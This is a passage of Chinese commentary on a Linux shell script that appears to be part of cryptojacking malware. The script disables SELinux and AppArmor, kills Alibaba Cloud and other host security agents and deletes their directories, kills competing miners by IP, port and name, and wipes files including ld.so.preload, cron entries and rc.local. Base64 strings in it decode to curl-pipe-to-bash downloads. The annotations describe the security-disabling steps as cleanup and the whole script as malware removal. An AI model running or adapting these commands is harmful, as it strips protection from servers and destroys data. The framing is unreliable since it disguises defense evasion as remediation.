打印提示信息,表示云监控未运行。 setenforce 0: 关闭 SELinux 安全模块。 echo SELINUX=disabled >/etc/selinux/config: 将 SELinux 配置文件中的 SELINUX 设置为 disabled,禁用 SELinux。 service apparmor stop: 停止 AppArmor 服务。 systemctl disable apparmor: 禁用 AppArmor 服务,使其不再自动启动。 service aliyun.service stop: 停止名为 aliyun.service 的服务。 systemctl disable aliyun.service: 禁用 aliyun.service 服务,使其不再自动启动。 以上部分是针对系统安全相关的清理操作。 ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %: 结束所有名称中包含 aegis 的进程。 ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %: 结束所有名称中包含 Yun 的进程。 ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rf: 删除所有名称中包含 aegis 的进程对应的执行文件所在目录。 ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rf: 删除所有名称中包含 hids 的进程对应的执行文件所在目录。 ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rf: 删除所有名称中包含 cloudwalker 的进程对应的执行文件所在目录。 ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rf: 删除所有名称中包含 titanagent 的进程对应的执行文件所在目录。
kill_miner_proc() { netstat -anp | grep 194.87.139.103 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 % netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 % netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 % netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :10008 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ######
- netstat -anp:运行 netstat 命令,显示系统当前的网络连接状态和相关进程信息。
- grep 194.87.139.103:通过管道将 netstat 的输出传递给 grep 命令,并使用 IP 地址"194.87.139.103"进行匹配过滤,只保留包含该 IP 地址的行。
- awk '{print $7}':将上一步输出中的每一行,使用空格作为分隔符,提取出第 7 列的内容(即进程相关信息)。
- awk -F'[/]' '{print $1}':将上一步输出中的每一行,使用斜杠 "/" 作为分隔符,提取出斜杠前面的内容(即进程 ID)。
- xargs -I % kill -9 %:将上一步提取的进程 ID 作为参数传递给 kill 命令,使用 -9 选项立即强制终止对应的进程。
以上是针对第一行的解释。接下来的代码行依次类似,只是针对不同的 IP 地址或端口号进行匹配和终止进程的操作。每一行的作用基本相同,只有具体的匹配条件和处理对象不同。
ps.original aux | grep -v grep | grep ':13531' | awk '{print $2}' | xargs -I % kill -9 % ####### 以上代码段说明:综合起来,该命令的作用是找到带有指定端口号 ":13531" 的进程,并将其终止。
- ps.original aux:运行 ps 命令显示系统中当前运行的进程列表。
- grep -v grep:从上一步的输出中过滤掉包含关键词 "grep" 的行,即排除 grep 进程本身。
- grep ':13531':从上一步的输出中筛选出包含指定端口号 ":13531" 的行。
- awk '{print $2}':将上一步输出中的每一行,使用空格作为分隔符,提取出第 2 列的内容(即进程 ID)。
- xargs -I % kill -9 %:将上一步提取的进程 ID 作为参数传递给 kill 命令,使用 -9 选项立即强制终止对应的进程。
ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 % ####### 以上代码段说明:这段代码是一系列系统命令的组合,用于查找并终止指定进程。下面逐行对每个命令进行说明:
ps aux:列出当前系统上所有的进程信息。 grep -v grep:过滤掉与"grep"相关的进程,避免命令自身被匹配。 grep ':3333':从上一步过滤后的结果中筛选包含":3333"的进程。 awk '{print $2}':提取上一步筛选结果中的第二列(PID)。 xargs -I % kill -9 %:对每一个提取到的PID执行"kill -9"命令,强制终止相应的进程。上述步骤的功能是查找并终止监听在3333端口的进程。
接下来的代码行依次类推,是相同的逻辑,只是目标进程的筛选条件不同,例如包含特定字符串、端口号、文件名等等。
ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 % ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 % pgrep -f xzpauectgr | xargs -I % kill -9 % pgrep -f slxfbkmxtd | xargs -I % kill -9 % pgrep -f mixtape | xargs -I % kill -9 % pgrep -f addnj | xargs -I % kill -9 % pgrep -f 200.68.17.196 | xargs -I % kill -9 % pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 % pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 % pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 % pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 % pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 % pgrep -f honvbsasbf.conf | xargs -I % kill -9 % pgrep -f mqdsflm.cf | xargs -I % kill -9 % pgrep -f lower.sh | xargs -I % kill -9 % pgrep -f ./ppp | xargs -I % kill -9 % pgrep -f cryptonight | xargs -I % kill -9 % pgrep -f ./seervceaess | xargs -I % kill -9 % pgrep -f ./servceaess | xargs -I % kill -9 % pgrep -f ./servceas | xargs -I % kill -9 % pgrep -f ./servcesa | xargs -I % kill -9 % pgrep -f ./vsp | xargs -I % kill -9 % pgrep -f ./jvs | xargs -I % kill -9 % pgrep -f ./pvv | xargs -I % kill -9 % pgrep -f ./vpp | xargs -I % kill -9 % pgrep -f ./pces | xargs -I % kill -9 % pgrep -f ./rspce | xargs -I % kill -9 % pgrep -f ./haveged | xargs -I % kill -9 % pgrep -f ./jiba | xargs -I % kill -9 % pgrep -f ./watchbog | xargs -I % kill -9 % pgrep -f ./A7mA5gb | xargs -I % kill -9 % pgrep -f kacpi_svc | xargs -I % kill -9 % pgrep -f kswap_svc | xargs -I % kill -9 % pgrep -f kauditd_svc | xargs -I % kill -9 % pgrep -f kpsmoused_svc | xargs -I % kill -9 % pgrep -f kseriod_svc | xargs -I % kill -9 % pgrep -f kthreadd_svc | xargs -I % kill -9 % pgrep -f ksoftirqd_svc | xargs -I % kill -9 % pgrep -f kintegrityd_svc | xargs -I % kill -9 % pgrep -f jawa | xargs -I % kill -9 % pgrep -f oracle.jpg | xargs -I % kill -9 % pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 % pgrep -f 188.209.49.54 | xargs -I % kill -9 % pgrep -f 181.214.87.241 | xargs -I % kill -9 % pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 % pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 % pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 % pgrep -f servim | xargs -I % kill -9 % pgrep -f kblockd_svc | xargs -I % kill -9 % pgrep -f native_svc | xargs -I % kill -9 % pgrep -f ynn | xargs -I % kill -9 % pgrep -f 65ccEJ7 | xargs -I % kill -9 % pgrep -f jmxx | xargs -I % kill -9 % pgrep -f 2Ne80nA | xargs -I % kill -9 % pgrep -f sysstats | xargs -I % kill -9 % pgrep -f systemxlv | xargs -I % kill -9 % pgrep -f watchbog | xargs -I % kill -9 % pgrep -f OIcJi1m | xargs -I % kill -9 %
pkill -f biosetjenkins pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f mixnerdx pkill -f performedl pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f XJnRj pkill -f mgwsl pkill -f pythno pkill -f jweri pkill -f lx26 pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi pkill -f irqbalanc1 pkill -f minerd pkill -f i586 pkill -f gddr pkill -f mstxmr pkill -f ddg.2011 pkill -f wnTKYg pkill -f deamon pkill -f disk_genius pkill -f sourplum pkill -f polkitd pkill -f nanoWatch pkill -f zigw pkill -f devtool pkill -f devtools pkill -f systemctI pkill -f watchbog pkill -f cryptonight pkill -f sustes pkill -f xmrig pkill -f xmrig-cpu pkill -f 121.42.151.137 pkill -f init12.cfg pkill -f nginxk pkill -f tmp/wc.confz pkill -f xmrig-notls pkill -f xmr-stak pkill -f suppoie pkill -f zer0day.ru pkill -f dbus-daemon--system pkill -f nullcrew pkill -f systemctI pkill -f kworkerds pkill -f init10.cfg pkill -f /wl.conf pkill -f crond64 pkill -f sustse pkill -f vmlinuz pkill -f exin pkill -f apachiii pkill -f crypto pkill -f tntrecht pkill -f xr pkill -f svcupdate pkill -9 cnrig ###### 以上代码段是终止以上名称的进程,大部分为恶意程序。
rm -rf /usr/bin/config.json rm -rf /usr/bin/exin rm -rf /tmp/wc.conf rm -rf /tmp/log_rot rm -rf /tmp/apachiii rm -rf /tmp/sustse rm -rf /tmp/php rm -rf /tmp/p2.conf rm -rf /tmp/pprt rm -rf /tmp/ppol rm -rf /tmp/javax/config.sh rm -rf /tmp/javax/sshd2 rm -rf /tmp/.profile rm -rf /tmp/1.so rm -rf /tmp/kworkerds rm -rf /tmp/kworkerds3 rm -rf /tmp/kworkerdssx rm -rf /tmp/xd.json rm -rf /tmp/syslogd rm -rf /tmp/syslogdb rm -rf /tmp/65ccEJ7 rm -rf /tmp/jmxx rm -rf /tmp/2Ne80nA rm -rf /tmp/dl rm -rf /tmp/ddg rm -rf /tmp/systemxlv rm -rf /tmp/systemctI rm -rf /tmp/.abc rm -rf /tmp/osw.hb rm -rf /tmp/.tmpleve rm -rf /tmp/.tmpnewzz rm -rf /tmp/.java rm -rf /tmp/.omed rm -rf /tmp/.tmpc rm -rf /tmp/.tmpleve rm -rf /tmp/.tmpnewzz rm -rf /tmp/gates.lod rm -rf /tmp/conf.n rm -rf /tmp/devtool rm -rf /tmp/devtools rm -rf /tmp/fs rm -rf /tmp/.rod rm -rf /tmp/.rod.tgz rm -rf /tmp/.rod.tgz.1 rm -rf /tmp/.rod.tgz.2 rm -rf /tmp/.mer rm -rf /tmp/.mer.tgz rm -rf /tmp/.mer.tgz.1 rm -rf /tmp/.hod rm -rf /tmp/.hod.tgz rm -rf /tmp/.hod.tgz.1 rm -rf /tmp/84Onmce rm -rf /tmp/C4iLM4L rm -rf /tmp/lilpip rm -rf /tmp/3lmigMo rm -rf /tmp/am8jmBP rm -rf /tmp/tmp.txt rm -rf /tmp/baby rm -rf /tmp/.lib rm -rf /tmp/systemd rm -rf /tmp/lib.tar.gz rm -rf /tmp/baby rm -rf /tmp/java rm -rf /tmp/j2.conf rm -rf /tmp/.mynews1234 rm -rf /tmp/a3e12d rm -rf /tmp/.pt rm -rf /tmp/.pt.tgz rm -rf /tmp/.pt.tgz.1 rm -rf /tmp/go rm -rf /tmp/java rm -rf /tmp/j2.conf rm -rf /tmp/.tmpnewasss rm -rf /tmp/java rm -rf /tmp/go.sh rm -rf /tmp/go2.sh rm -rf /tmp/khugepageds rm -rf /tmp/.censusqqqqqqqqq rm -rf /tmp/.kerberods rm -rf /tmp/kerberods rm -rf /tmp/seasame rm -rf /tmp/touch rm -rf /tmp/.p rm -rf /tmp/runtime2.sh rm -rf /tmp/runtime.sh rm -rf /dev/shm/z3.sh rm -rf /dev/shm/z2.sh rm -rf /dev/shm/.scr rm -rf /dev/shm/.kerberods rm -f /etc/ld.so.preload rm -rf /etc/systemd/system/systemde.service* rm -f /etc/ld.so.preload rm -f /usr/local/lib/libioset.so chattr -i /etc/ld.so.preload rm -f /etc/ld.so.preload systemctl stop moneroocean_miner.service systemctl stop systemde.service rm -f /usr/local/lib/libioset.so rm -rf /tmp/watchdogs rm -rf /etc/cron.d/tomcat rm -rf /etc/rc.d/init.d/watchdogs rm -rf /usr/sbin/watchdogs rm -f /tmp/kthrotlds rm -f /etc/rc.d/init.d/kthrotlds rm -rf /tmp/.sysbabyuuuuu12 rm -rf /tmp/logo9.jpg rm -rf /tmp/miner.sh rm -rf /tmp/nullcrew rm -rf /tmp/proc rm -rf /tmp/2.sh rm /opt/atlassian/confluence/bin/1.sh rm /opt/atlassian/confluence/bin/1.sh.1 rm /opt/atlassian/confluence/bin/1.sh.2 rm /opt/atlassian/confluence/bin/1.sh.3 rm /opt/atlassian/confluence/bin/3.sh rm /opt/atlassian/confluence/bin/3.sh.1 rm /opt/atlassian/confluence/bin/3.sh.2 rm /opt/atlassian/confluence/bin/3.sh.3 rm -rf /var/tmp/f41 rm -rf /var/tmp/2.sh rm -rf /var/tmp/config.json rm -rf /var/tmp/xmrig rm -rf /var/tmp/1.so rm -rf /var/tmp/kworkerds3 rm -rf /var/tmp/kworkerdssx rm -rf /var/tmp/kworkerds rm -rf /var/tmp/wc.conf rm -rf /var/tmp/nadezhda. rm -rf /var/tmp/nadezhda.arm rm -rf /var/tmp/nadezhda.arm.1 rm -rf /var/tmp/nadezhda.arm.2 rm -rf /var/tmp/nadezhda.x86_64 rm -rf /var/tmp/nadezhda.x86_64.1 rm -rf /var/tmp/nadezhda.x86_64.2 rm -rf /var/tmp/sustse3 rm -rf /var/tmp/sustse rm -rf /var/tmp/moneroocean/ rm -rf /var/tmp/devtool rm -rf /var/tmp/devtools rm -rf /var/tmp/play.sh rm -rf /var/tmp/systemctI rm -rf /var/tmp/.java rm -rf /var/tmp/1.sh rm -rf /var/tmp/conf.n rm -r /var/tmp/lib rm -r /var/tmp/.lib rm -rf /opt/systemd-service.sh rm -rf /opt/.systemd-service.sh rm -rf /root/.systemd-service.sh rm -rf /usr/share/\[crypto\] chattr -R -ia /usr/bin/TeamTNT/* chattr -R -ia /usr/bin/watchdogd* rm -rf /usr/bin/watchdogd* service crypto stop systemctl stop crypto.service systemctl stop watchdogd service watchdogd stop rm -fr /usr/bin/TeamTNT/* chattr -iau /tmp/lok chmod +700 /tmp/lok rm -rf /tmp/lok sleep 1 chattr -i /tmp/kdevtmpfsi echo 1 > /tmp/kdevtmpfsi chattr +i /tmp/kdevtmpfsi sleep 1 chattr -i /usr/lib/systemd/systemd-update-daily echo 1 > /usr/lib/systemd/systemd-update-daily chattr +i /usr/lib/systemd/systemd-update-daily >/tmp/svcupdate >/tmp/svcguard >/etc/svcupdate >/etc/svcguard >/etc/cron.daily/logrotate >/etc/cron.hourly/0anacron >/etc/rc.d/rc.local ###### 这段代码是一系列的命令行指令,其目的是清除系统中的一些恶意软件和病毒。具体来说,它会停止一些服务,删除某些文件或目录,修改某些文件的属性,以及清空某些文件的内容。其中注释掉的 /etc/cron.d/tomcat 和 /var/tmp/moneroocean/ 可能涉及到 Tomcat 和隐藏挖矿程序 Monero Ocean 的相关内容。
